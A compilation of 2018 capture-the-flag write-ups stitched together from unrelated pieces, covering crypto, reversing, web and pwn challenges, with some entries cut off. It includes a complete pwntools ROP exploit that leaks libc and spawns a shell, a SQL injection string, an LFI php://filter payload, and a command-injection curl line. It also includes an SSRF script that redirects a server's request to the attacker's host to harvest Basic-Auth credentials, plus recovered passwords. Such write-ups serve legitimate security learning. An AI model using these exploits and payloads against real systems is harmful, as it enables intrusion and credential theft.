```xml<hmtx> <mtx name="glyph00000" width="0" lsb="0"/> <mtx name="glyph00001" width="540" lsb="0"/> <mtx name="glyph00002" width="340" lsb="0"/> <mtx name="glyph00003" width="605" lsb="0"/> <mtx name="glyph00004" width="540" lsb="0"/> <mtx name="glyph00005" width="340" lsb="0"/> <mtx name="glyph00006" width="540" lsb="0"/> <mtx name="glyph00007" width="586" lsb="0"/> <mtx name="glyph00008" width="591" lsb="0"/> <mtx name="glyph00009" width="604" lsb="0"/> <mtx name="glyph00010" width="447" lsb="0"/> <mtx name="glyph00011" width="587" lsb="0"/> <mtx name="glyph00012" width="556" lsb="0"/> <mtx name="glyph00013" width="557" lsb="0"/> <mtx name="glyph00014" width="583" lsb="0"/> <mtx name="glyph00015" width="617" lsb="0"/></hmtx>```
Each character occupies some width. This was a mapping of glyph id to width. Each of these width was unique, except `540` and `340`. `540` came thrice, so it must be the width of `+,-,*` while `340` came twice, so it must be width of brackets. Now the mapping looks like this:
+ Number/Operator -> Width+ Width -> Glyph Id+ Glyph Id -> letter
The only problem was with math operators (`+,-,*`) and the brackets. Brackets were easy, there was always an open bracket at the start and close bracket at the end. So, we directly have letter mapping to them.
For math operators, we had to again dig into ttx, fortunately there was this line:
```xml<TTGlyph name="glyph00001" xMin="0" yMin="0" xMax="444" yMax="481">```
which gave the cartesian position of the character and this was unique for each of the math operators. So, a special case mapping for math operators is:
+ Operator -> Cartesian position+ Cartesian position -> Glyph Id+ Glyph Id -> letter
Now, it was just a matter of writing the script. Also we had to send a token (embedded in html page) along with result while making the post request.
[eval.py](eval.py) gives full python script.
**Acknoledgement**
I thank @kaushiksk for helping me in writing the script. |
https://bolek42.github.io/ctf/2018-hxp/pwn_game/README.html#
Or in short:
ssddadsdwwwwwwwaawasssssssssssaawwaaawwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww+++++dddddddddwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwaaaaaaa--------------------q
ssddadsdwwwwwwwaawasssssssssssaawwaaawwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww22222222222222dddddddddwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwaaaaaaa--------------------q
ssddadsdwwwwwwwaawasssssssssssaawwaaawwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwd+dddddddddwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwaaaaaaa--------------------q
ssddadsdwwwwwwwaawasssssssssssaawwaaawwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwd111111111111111dddddddddwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwaaaaaaa--------------------q
ssddadsdwwwwwwwaawasssssssssssaawwaaawwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwdd++dddddddddwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwaaaaaaa--------------------q
q
idcat flag.txt |
# Daring (misc, 100+50p, 30 solved)
In the challenge we get a set of files:
- AES-CTR encrypted [data](aes.enc)- RSA public [key](pubkey.txt)- RSA encrypted [data](rsa.enc)- Challenge [source code](vuln.py)
The code is quite simple:
```python#!/usr/bin/env python3import osfrom Crypto.Cipher import AESfrom Crypto.Hash import SHA256from Crypto.Util import Counterfrom Crypto.PublicKey import RSA
flag = open('flag.txt', 'rb').read().strip()
key = RSA.generate(1024, e=3)open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n')open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big'))
key = SHA256.new(key.exportKey('DER')).digest()open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))```
First thing we notice is that strangely the flag is encrypted both by RSA and by AES-CTR, but pretty much using related key.If we could decrypt one, we could decrypt the other one as well.
Once we load the RSA public key we can notice that `e` is very small - `3`.This leads us to check what kind of padding scheme is used here, and bingo, there is `\x00` right padding:
```pythonflag.ljust(128, b'\0')```
The value seems to be padded before RSA encryption, so there is no risk for degenerated RSA case when `flag^3 < n`, which would mean we can just calculate cube root of the ciphertext.But since the padding is just zeroes, we can actually use RSA homomorphic property to remove this padding from the ciphertext.
This comes from the fact that RSA encryption is just `msg^e mod n` and if we multiply this by `x^e mod n` the result is `(mgs*x)^e mod n`.So if we decrypt this we would get back `msg*x mod n`.
Adding zero padding here can be viewed simply as bit-shifting left, so just simple multiplication.Each `0` byte added to the plaintext as padding is just multiplying plaintext by 256.So in order to remove those, we need to divide by 256, which is the same as multiply by `modinv(256,n)`.
Now, how many padded bytes are there?This is where the AES-CTR ciphertext comes into play.AES-CTR is a stream cipher, so the length of ciphertext is the same as length of plaintext.We can just load the aes ciphertext and check for the length.It's `43` bytes long, so there are 85 bytes of padding we can remove:
```pythonnew_ct = ct * pow(modinv(256, n) ** padding_len, e, n)new_ct %= n```
Now if we check this with some example, we will see that the plaintext is still 1 byte too long.This means that still `flag^3 > n` so the ciphertext we have was cut by `mod n` operation.But we know that it can't have overflown too much, so we can just brute-force it.
We pretty know that `flag^3 = ct + k*n`, for some small `k`.We can loop over some values for `k` and see when `ct + k*n` is a cube:
```pythonfor i in range(256): potential_pt, is_cube = gmpy2.iroot(new_ct + (n * i), e) if is_cube: print(i, long_to_bytes(potential_pt))```
When we run this we get `hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}`
Whole solver [here](daring.py) |
# copper gateinspect the source code``````... and navigate to the image path...here we find an interesting textfile
http://18.191.227.167/images/sitenotes.txt
Site is in development, but active updates can be viewed by going to **/devvvvv/index.html**
http://18.191.227.167/devvvvv/home.html
```bash$ cat index.html```<meta http-equiv="refresh" content="0; URL='home.html'" />
```
``````bash$ curl http://18.191.227.167/enterthecoppergate/gate.html`````` <h1>CONGRATULATIONS!</h1> <h2>You have found the Copper Flag.</h2> VFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==``````bash$ echo VFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg== | base64 -d```
**TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}**
VFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==``````bash$ echo VFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg== | base64 -d```
**TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}** |
### TL;DR1. Recover the equation of the elliptic curve.2. Map points on the curve to an multiplicative group.3. Calculate discrete logarithm to find x. |
* extract files by using binwalk
```$ binwalk -D 'png image:png' GottaGoDeeper.png
(snip)
$ ls _GottaGoDeeper.png.extracted/0.png 14B123 150E4A 7E50B.png 7E5A4.zlib 88CDF7 8C 8C.zlib14B0CE.png 14B123.zlib 150E4A.zlib 7E5A4 88CD5E.png 88CDF7.zlib 8C812D.png```
* analyse 14B0CE.png by using 青い空を見上げればいつもそこに白い猫 (https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAoZoraSiroNeko.html)
I got a string "ZXJXZU".
```text7E50B.png => TWICE RnlaWDA98C812D.png => ZmxhZ14B0CE.png => ZXJXZU88CD5E.png => tEZWVw```
* I got a flag by running following python code
```python#!/usr/bin/env python3# coding: utf-8
from base64 import b64decodefrom itertools import permutations
T = []for i in range(26): T += [chr(ord('A') + i)] T += [chr(ord('a') + i)]for i in "0123456789+/": T += [i]
L = ["RnlaWDA9", "ZmxhZ", "ZXJXZU", "tEZWVw"]
for t in T: for i in list(permutations(L[1:] + [t])): i = list(i) i += [b64decode(L[0]).decode("utf-8")] s = "".join(i)
try: ret = b64decode(s) if not "\\x" in str(ret) and "flag" in str(ret): print (ret.decode("utf-8")) except: print ("Error")```
* Execution result
```flag+DeeperWeAre}erWeKDeepflag!re}flag;DeeperWeAre}erWeKDeepflag1re}flagKDeeperWeAre}erWeKDeepflagAre}flag[DeeperWeAre}erWeKDeepflagQre}flagkDeeperWeAre}erWeKDeepflagare}flag{DeeperWeAre}erWeKDeepflagqre}```
flag: `flag{DeeperWeAre}` |
> glardomos>> 587>> Find the flag inside the binary> > [Glardomos.exe](https://0xd13a.github.io/ctfs/kasp2018/glardomos/Glardomos.zip)
Glardomos is a .Net executable:
```$ file Glardomos.exe Glardomos.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows```
It requres flag as parameter and verifies it:
```C:\work\kasp18>Glardomos.exeGlardomos <flag>
C:\work\kasp18>Glardomos.exe AAAAAAAFailed!```
Upon closer look the executable seems to be obfuscated with the [Confuser](https://github.com/yck1509/ConfuserEx) tool (as indicated by presence of attribute ```ConfusedByAttribute```), which may have been further modified.
This challenge would be very tough to solve without a great debugger [dnspy](https://github.com/0xd4d/dnSpy) and deobfuscator [de4dot](https://github.com/0xd4d/de4dot). Even with them it is a lot of trial and error as neither of them seem to support removal of Confuser code out of the box.
The following sequence of steps worked:
- Load ```Glardomos.exe``` in dnspy and set up a breakpoint in constructor of the main module:
- Step through all code in that method. A new Glardomos module will appear in the tree. Save it to a new file (using menu command ```File/Save Module...```), and select options to preserve most information and tokens in the Save dialog.
- Run de4dot tool on the saved module to make the symbolic names more sane:
```C:\work\kasp18>..\..\util\de4dot\de4dot.exe Glardomos_2.exe
de4dot v3.1.41592.3405 Copyright (C) 2011-2015 [email protected]Latest version and source code: https://github.com/0xd4d/de4dot
Detected Unknown Obfuscator (C:\work\kasp18\Glardomos_2.exe)Cleaning C:\work\kasp18\Glardomos_2.exeRenaming all obfuscated symbolsSaving C:\work\kasp18\Glardomos_2-cleaned.exe```
- Load cleaned module in dnspy again. The code still looks very cryptic, however some of the methods being called become more clear. Note that the application creates and calls a PowerShell script:
```static PowerShell smethod_8(PowerShell powerShell_0, string string_0){ return powerShell_0.AddScript(string_0);}```
- Set up a breakpoint inside ```System.Management.Automation.Powershell``` and run the module with some random flag value as a parameter
- When the breakpoint is hit the following code is added to the script:
```powershell$flag="AAAAAAAAA";. ((varIAbLe '*MDR*').NAME[3,11,2]-jOiN'') ( ...VERY LARGE PAYLOAD REMOVED...```
- When saved to a file and executed the script generates the same error as the executable, which probably means that it is the part that actually parses the flag:
```C:\work\kasp18>powershell -executionpolicy bypass -file ps.ps1Failed!```
- Looking at the script we can see that there is a large blob of encoded script code inside that we need to analyze. By copying it into a separate file and executing it we unwrap multiple levels of encoding one by one, finally arriving at the following code:
```powershell...$rv=$FALSE;
if ($flag.length -ne 39){}elseif ($flag[0] -ne 'K'){}elseif ($flag[1] -ne 'L'){}elseif ($flag[2] -ne 'C'){}elseif ($flag[3] -ne 'T'){}elseif ($flag[4] -ne 'F'){}elseif ($flag[5] -ne '{'){}elseif ($flag[6] -ne '3'){}elseif ($flag[7] -ne '4'){}elseif ($flag[8] -ne 'O'){}elseif ($flag[9] -ne 'K'){}elseif ($flag[10] -ne '3'){}elseif ($flag[11] -ne 'B'){}elseif ($flag[12] -ne 'P'){}elseif ($flag[13] -ne 'K'){}elseif ($flag[14] -ne '3'){}elseif ($flag[15] -ne '3'){}elseif ($flag[16] -ne 'H'){}elseif ($flag[17] -ne '0'){}elseif ($flag[18] -ne 'S'){}elseif ($flag[19] -ne 'Z'){}elseif ($flag[20] -ne 'X'){}elseif ($flag[21] -ne '3'){}elseif ($flag[22] -ne 'Y'){}elseif ($flag[23] -ne 'Z'){}elseif ($flag[24] -ne 'X'){}elseif ($flag[25] -ne 'N'){}elseif ($flag[26] -ne '2'){}elseif ($flag[27] -ne 'V'){}elseif ($flag[28] -ne 'C'){}elseif ($flag[29] -ne 'J'){}elseif ($flag[30] -ne 'V'){}elseif ($flag[31] -ne '2'){}elseif ($flag[32] -ne '4'){}elseif ($flag[33] -ne 'C'){}elseif ($flag[34] -ne 'P'){}elseif ($flag[35] -ne '6'){}elseif ($flag[36] -ne 'Y'){}elseif ($flag[37] -ne 'H'){}elseif ($flag[38] -ne '}'){}else{ $rv=$TRUE;}
if($rv){ Write-Output "Success!"}else{ Write-Output "Failed!"}```
Bingo! The flag is ```KLCTF{34OK3BPK33H0SZX3YZXN2VCJV24CP6YH}```. |
# ASIS CTF Finals 2018 ## Ariogen
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 273 | MiKHalyCH, keltecc
**Description:**
> looks a bit weird? let's have a crack at it!`nc 37.139.4.247 36032`
## SolutionWe have two functions:```pydef makekey(nbit): fprime = gmpy2.next_prime(2 ** nbit) D = getRandomRange(1, nbit**3) p = gmpy2.next_prime(fprime + D) q = getPrime(nbit) pubkey = (0x10001, int(p*q)) return p, pubkey
def encrypt(m, pubkey): m = bytes_to_long(m) e, n = pubkey assert m < n while True: r = random.randint(1, n - 1) if gmpy2.gcd(r, n) == 1: c = (pow(r, e, n**2) * (r**2 + m*n)) % n ** 2 break return r, c```Also we have `e, n = pubkey, c = enc`.
### First step
Firstly we need to understand, how to reverse crypto algorythm. We can try to make it step by step:
```pyn_2 = n*nr_e = pow(r, e, n**2)
c = r_e * (r**2 + m*n)) % n_2c * inverse(r_e, n**2) % n_2 = (r**2 + m*n)) # beacuse right part is always lower then n_2(c * inverse(r_e, n**2) - r**2) % n_2 = m*n((c * inverse(r_e, n**2) - r**2) % n_2) // n = m```To solve this equation we should know `r`. Is there any way to find it???
### Second step
So lets rearrange `c`:```c = (r**e * (r**2 + m*n)) % n**2c = (r**e * (r**2) + (m * n * r**e) % n**2c = (r**(e+2) + (m * n * r**e)) % n**2```
From this equation we can understand that `c % n = (r**(e+2) + (m * n * r**e)) % n = r ** (e+2) % n`. Left part can be easy calculated. But what about right part???
### Third step
`pow(r, e+2, n) = c % n` looks like the classic RSA: `pow(m, e, N) = c`.
To decrypt it, we need to know private key `d`: `m = pow(c, d, N)`.
`d = inverse(e, phi) = inverse(e, (p-1)*(q-1))`.
Now we need to find factorisation of `n`. Let's look at `makekey` function:
```pyfprime = gmpy2.next_prime(2 ** nbit)D = getRandomRange(1, nbit**3)p = gmpy2.next_prime(fprime + D)```This code makes it clear that `p` factors of all `N's` are close to each other, because `D` is too low in comparison with `fprime`.
We can try to collect a database of generated pubkeys and calculate `gcd` of current and old `N's`. If `gcd(cur_N, old_N) != 1` than it would be equal to `p`. After that we can factorise `N` and calculate `r`:
```pyd = inverse(e+2, (p-1)*(q-1))r = pow(c % n, d, n)```
### Fourth step
To solve this task we launched our server on the remote host. It accepted requests with new `N` and checked `gcd` with old ones.
This server helped us to collect `N's` from different hosts.
Our [solver](solver.py) sent to our server new `N` and if his `gcd` calculated valid `p`, it started to decrypt message with algo from [First step](#first-step). After sending of right decrypted message, task server sent back the flag. |
* set latch to `__printf_chk` GOT* leak libc by printing `vga->vs[0x10]`* overwrite with magic gadget
Full writeup at https://devcraft.io/2018/11/22/q-escape-seccon-2018.html
--vakzz |
http://otterctf.com:8000 shows a message:
`Please use our Ultra Otter browser to use our P2TaaS(Picture To Text as a Service)`
The User-Agent must be changed to "Ultra Otter". Then it displays a simple upload page and if you submit an image, it returns an ascii art for it.
If you click a submit button without choosing an image, it shows an error page (werkzeug with debugger turned on).But remember the hint: This is not a pwn challenge, do not hack the server.
If you inspect the HTML page source, you will find that the images are from:
http://otterctf.com:8000/static/
And the web has a directory listing turned on!One of the image in the directory was not a part of the web:
`1e0a220ee5875bcae68df3e5bc288896.png`
It was very strange image with a secret message in the alpha bit 0 (LSB), but it was scrambled like the RGB.The image has been devided into four parts by 5x5 pixel squares.We've decomposed it and found that it is a lutra (4 parts: original, flipped horizontally, flipped vertically and flipped horizontally+vertically).
We're not able to find an exact solution - composition of the layers...But the text could be guessed from the separed (and still a little bit scrambled) layers:
```The Flag isUltR4_LuTR4_15_Th3_B35t```
`CTF{UltR4_LuTR4_15_Th3_B35t}` |
USB PCap of Wacom tablet. The user has drawed a flag, the solution is similar to:
[https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/](https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/)
`CTF{0TR_U58}` |
[https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/ListenCarefully/readme.md](https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/ListenCarefully/readme.md) |
[https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-1](https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-1)
* `ctrl-a c` to bring up the monitor* `xp/100bc 0x392000` to print the flag (`0x390000` for local) |
# Gunshop 1 (re/web, 273p, 10 solved)
A two stage challenge, starting with an [obfuscated android app](GunShop.apk)
There is some code to go through but eventually we can figure out that:
1. App is making requests to some host for endpoints `/sessionStart`, `/selectGun` and `/finalizeSession`. There is also and endpoint `/getFile?filename=`.2. App is encrypting payloads using `AES` and encoding them in base643. There initial encryption key is derived via:
```javaPackageInfo packageInfo = context.getPackageManager().getPackageInfo(str, 64);if (packageInfo.signatures.length == 1) { str2 = base64(MessageDigest.getInstance("SHA-256").digest(packageInfo.signatures[0].toByteArray())).substring(0, 16);}```
This is used to decrypt the target host and next AES key from the app resources:
```f18a = C0018m.decryptFile("configUrl", (Context) this);this.f22q = C0018m.decryptFile("configKey", (Context) this);```
We were unsure what exactly is used for SHA-256 so we checked all fingerprints from the app signatures, and we finally got the right one.
This way we decrypt the key `123456789as23456` and host `https://darkbloodygunshop.asisctf.com`.
At the same time we got the hostname also simply by sniffing the outgoing traffic.If we now run the app and try to login, we get error that `username not found in users_gunshop_admins.csv`.
But we've seen the `getFile` endpoint so we can try: https://darkbloodygunshop.asisctf.com/getFile?filename=users_gunshop_admins.csv and we recover the passwords file.
From this we get the credentials: `alfredo` and `YhFyP$d*epmj9PUz`.
We can login to the mobile app now, but it doesn't really do much for us.
Since we recovered the encryption key for the traffic, we can try to access the REST endpoinst on our own:
```pythons = requests.session()key = "123456789as23456"payload = json.dumps({"username": "alfredo", "password": "YhFyP$d*epmj9PUz", "device-id": "1235"})aes = AES.new(key, AES.MODE_ECB)payload = base64.b64encode(aes.encrypt(pad(payload)))r = s.post("https://darkbloodygunshop.asisctf.com/startSession", verify=False, data={"user_data": payload})result = r.text.decode("base64")result = aes.decrypt(result)[:-5]print(result)```
We form the same json payload as seen in the java code and running this gives us:
```json{"key": "9a533b1465af2b63de48494c93041d92", "deviceId": "1235", "flag1": "ASIS{d0Nt_KI11_M3_G4NgsteR}", "list": [{"pic": "1.jpg", "id": "GN12-34", "name": "Tiny Killer", "description": "Excellent choise for silent killers."}, {"pic": "2.jpg", "id": "GN12-301", "name": "Gru Gun", "description": "A magic underground weapon."}, {"pic": "3.png", "id": "GN12-1F52B", "name": "U+1F52B", "description": "Powerfull electronic gun. Usefull in chat rooms and twitter."}, {"pic": "4.jpeg", "id": "GN12-1", "name": "HV-Penetrator", "description": "The Gun of future."}, {"pic": "5.jpg", "id": "GN12-90", "name": "Riffle", "description": "Protect your self with me."}, {"pic": "6.png", "id": "GN12-21", "name": "Gun Shop Subscription", "description": "Subscription 1 month to gun shop."}, {"pic": "7.png", "id": "GN12-1002", "name": "GunSet", "description": "A Set of weapons, useful for assassins."}]}```
Which concludes the first part of the task with the flag `ASIS{d0Nt_KI11_M3_G4NgsteR}`.
# Gunshop 2 (web, 304p, 8 solved)
The second part starts where the first one finished.Now the traffic gets encrypted by the new `key` parameter we received in the json payload.
We proceed with performing the same REST calls as the App normally does, we select a gun:
```pythonobj = json.loads(result)key = obj["key"].decode("hex")
payload = json.dumps({"gunId": "GN12-21"})aes = AES.new(key, AES.MODE_ECB)payload = base64.b64encode(aes.encrypt(pad(payload)))r = s.post("https://darkbloodygunshop.asisctf.com/selectGun", verify=False, data={"user_data": payload})print(r.text)result = r.text.decode("base64")result = aes.decrypt(result)print(result)```
This gives us:
```json{"shop": {"name": "City Center Shop", "url": "http://188.166.76.14:42151/DBdwGcbFDApx93J3"}}```
So we got the host for the second flag.But if we try to access this URL is accepts only POST and there is Basic-Auth on top of it.
The last thing that mobile App does is to call `/finalizeSession` endpoint passing the store `url`, which somehow submits our order.After some thinking we figured that maybe in fact the darkbloodygunshop webapp is sending a proper POST request to the shop we send as parameter.If so maybe it includes the credentials!
We proceed with sending the request with our own URL waiting for data:
```pythonpayload = json.dumps({"shop": "our.host"})aes = AES.new(key, AES.MODE_ECB)payload = base64.b64encode(aes.encrypt(pad(payload)))s.post("https://darkbloodygunshop.asisctf.com/finalizeSession", verify=False, data={"user_data": payload})print(r.text)result = r.text.decode("base64")result = aes.decrypt(result)print(result)```
And yes, we receive a request:
```python{ "content-length": "30", "user-agent": "python-requests/2.20.1", "accept": "*/*", "accept-encoding": "gzip, deflate", "content-type": "application/x-www-form-urlencoded", "authorization": "Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6"}```
There is some POST body, but what we really want is basic auth payload `YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6` which decoded as base64 is `bigbrother:4Qj3rc4ZhNQKv7Rz`.
If we now send request to the real shop with those credentials we get back a flag: `ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}` |
The only challenge that we could manage to solve is Expression. Here is the writeup, https://calap.co/blog/kaspersky-industrial-ctf-expression-writeup--2018-11-24.html |
# Space Force 100
## Description```The Space Force has created a portal for the public to learn about and be in awe of our most elite Space Force Fighters. Check it out at fun.ritsec.club:8005!
Author: neon_spandex```
## SolutionWhen acessing the website we are provided with an input field to search for space ship results. The solution was a simple sql injection: ```The javelin' or '1' = '1``` which returns back every value.
Flag: RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}
|
# __X-MAS CTF 2018__ ## _Santa's Secret B(i)smuth_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 486 | MiKHalyCH
**Description:**
> Samba's Union have found some of Santa's ancient and most valuable secrets. Luckily, they are encrypted, even so, you must be quick enough to retrieve them before the Sambas do!>>Sadly, Santa does not remember the encryption scheme, he does remember though that it had something to do with bismuth, or was it something else...?>>[flag.enc](src/flag.enc)>>Author: Gabies
## SolutionAccording to crypto tasks experience it was realy easy to understand that it is some secret sharing system. But it took a lot of time to find the right name of it.
One realy good step was googling [secret sharing smuth](http://lmgtfy.com/?q=secret+sharing+smuth).
This is [Asmuth-Bloom's threshold secret sharing scheme](http://cryptowiki.net/index.php?title=Asmuth-Bloom_scheme):
```pycommon_part = pSecret = [(I_i, p_i) for i in range(10)]```
[Solution](solver.py) can be easily found by [Chinese remainder theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem).
|
```pythonfrom pwn import *import sys
if sys.argv[1] == 'r': HOST = "localhost" PORT = 5000 # LIBC = "./libc.so.6" LIBC = "/lib/i386-linux-gnu/libc.so.6" r = remote(HOST, PORT)elif sys.argv[1] == 'l': LIBC = "/lib/i386-linux-gnu/libc.so.6" r = process('ropasaurusrex')
addr_write_got = 0x08049614addr_read_got = 0x0804961c
addr_write_plt = 0x804830caddr_read_plt = 0x804832c
pop3ret = 0x80484b6
bss_0x800 = 0x8049628 + 0x800
libc = ELF(LIBC)offset_read2sytem = libc.symbols[b"system"] - libc.symbols[b"read"]
payload = b"A" * 140# write(stdout, read(), 4)payload += p32(addr_write_plt)payload += p32(pop3ret)payload += p32(1)payload += p32(addr_read_got)payload += p32(4)
# read(stdin, write_got, 4)payload += p32(addr_read_plt)payload += p32(pop3ret)payload += p32(0)payload += p32(addr_write_got)payload += p32(4)
# read(stdin, bss_0x800, 8)payload += p32(addr_read_plt)payload += p32(pop3ret)payload += p32(0)payload += p32(bss_0x800)payload += p32(8)
# system(binsh_addr)payload += p32(addr_write_plt)payload += p32(0xdeadbeef)payload += p32(bss_0x800)
# debugwith open("payload", "bw") as f: f.write(payload)
# startr.send(payload)addr_read_fun = u32(r.recv())addr_system_fun = addr_read_fun + offset_read2sytemr.send(p32(addr_system_fun))r.send(b"/bin/sh\x00")r.interactive()r.close()``` |
# __X-MAS CTF 2018__ ## _Hanukkah_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 50 | MiKHalyCH
**Description:**
> Most of the old religions celebrate Christmas in one way or another!>> [hannukah.zip](src/hannukah.zip)>> Author: Gabies
## Solution[Encryption file](src/Hanukkah.py) contains two interesting functions.
```pydef encrypt(m,pubkey): c=m**2 % pubkey return c```From `encrypt` we can understand that it uses [Rabin](https://en.wikipedia.org/wiki/Rabin_cryptosystem) cryptosystem.
```pydef genKey(k): while True: r=getrandbits(k) while(r%2): r=getrandbits(k) p = 3 * r**2 + 2 * r + 7331 q = 17 * r**2 + 18 * r + 1339 n = p * q if(isPrime(p) and isPrime(q)): return (p,q) , n````genkey` function shows that `p` and `q` are polynomials from same `r`.
So firstly we need to recover `r`.
We know that `N` is polynomial too:```pyN = p*q = = (3*r**2 + 2*r + 7331)*(17*r**2 + 18*r + 1339) = = 51*r**4 + 88*r**3 + 128680*r**2 + 134636*r + 9816209```
`r` is 256 bits long, but `N` coefficients are small. It means that `r = iroot(N - 9816209, 4)`. Now we can easy recover `p` and `q`.
Second step is decrypting Rabin. Just because `p = q = 3 (mode 4)` we can easily compute `x_p` and `x_q`:```py x_p = sqrt(ct) % p = pow(ct, (p + 1) // 4, p)x_q = sqrt(ct) % q = pow(ct, (q + 1) // 4, q)```
Now we have 4 candidates for `m`. We can choose the right one because we know that flag was padded with some `X` characters at end.
Full decryption algo contains in [solver.py](solver.py). |
# Archivr 300
My team solved all the other web challenges. This was the only one left.
We did not solve this challenge during the CTF because I'm stupid and forgot how regex work :))))))).
Anyways I think it will make for a good writeup anyways. Enjoy.
## Recon
We can upload any file we want. Lets try upload shell.php
The extension gets removed and replaced with .dat.
We can dowload the file here if we enter `1542616333.dat`
Okay let's try some more extensions and figure out which ones are useful.
Left side is upload filename, right side is filename returned by server.
Moving on. Not much else to do here as the file is just returned to us and not displayed.
## DirbRunning dirb we get some new paths.
Cool, we have found the upload directory. Let's see if we can browse our file.
```/uploads/1542616333.dat (404)```
Okay maybe that's not the correct folder.
## Exploiting LFI WrappersUsing this payload we can view the source code of the upload.php file as the input is not sanitized correctly.
`http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=upload`
Decoding the base64 we get:
This is the code for the download page:
So the upload folder is```uploads/md5(REMOTE_ADDR)/md5(time()).ext```## The hunt for the REMOTE_ADDR IPIn PHP `$_SERVER['REMOTE_ADDR']` returns the IP address in the format X.X.X.X of the user visiting the website.
What's different with this challenge is that the server is running inside docker (most likely) and behind a reverse proxy.
If we visit a page that does not exist. We see that the web server is running apache.
But if we view the header of the request it says nginx.
me ---> nginx (port 8003) ---- > apache (port 80)
Let's try some obvious ones as IP:```127.0.0.1my remote ip0.0.0.054.166.0.85 (ip of ritsec website)```
None of these worked.... Bruteforce is not a option as we don't know in which range the ip is located.### Wild idea: Spoofing The X-Forwarded-For (XFF) HTTP header fieldI tried to add a header field with a custom IP to see if we can spoof remote address. This did not work and I never expected it to work.
```X-Forwarded-For: 127.0.0.1```
### Thinking outside the box: Exploiting another challengeRemember how we had command injection in Lazy Dev. We know the setup of the CTF should be very similar.
```curl -d "" -X POST http://fun.ritsec.club:8007/devsrule.php?magic=php://input```
Remote address of lazy dev is `10.0.10.254`.
Maybe it's the same for Archivr.
Yaayy! We've found something. Instead of a 404 we get a forbidden (403).
## Create a payloadpayload.php```php |
# Special Christmas Wishlist (50 PTS)
### Description
>While Santa was looking through the wishlists of the childern all around the world he came across a very strange looking one. Help Santa decode the letter in order to fulfill the wishes of this child.>>(Flag is Non-Standard)>>UPDATE: flag is lowercase!>>_Author: Gabies_
Files:- [wishlish.png](wishlist.png)
Flag: ```xmasyouaresogoodatsubstitutionciphers```
### Solution
We've got an image with lots of drawn characters.
Given image contains **73 lines** and every line looks like a text with some spaces between non-ASCII "words".
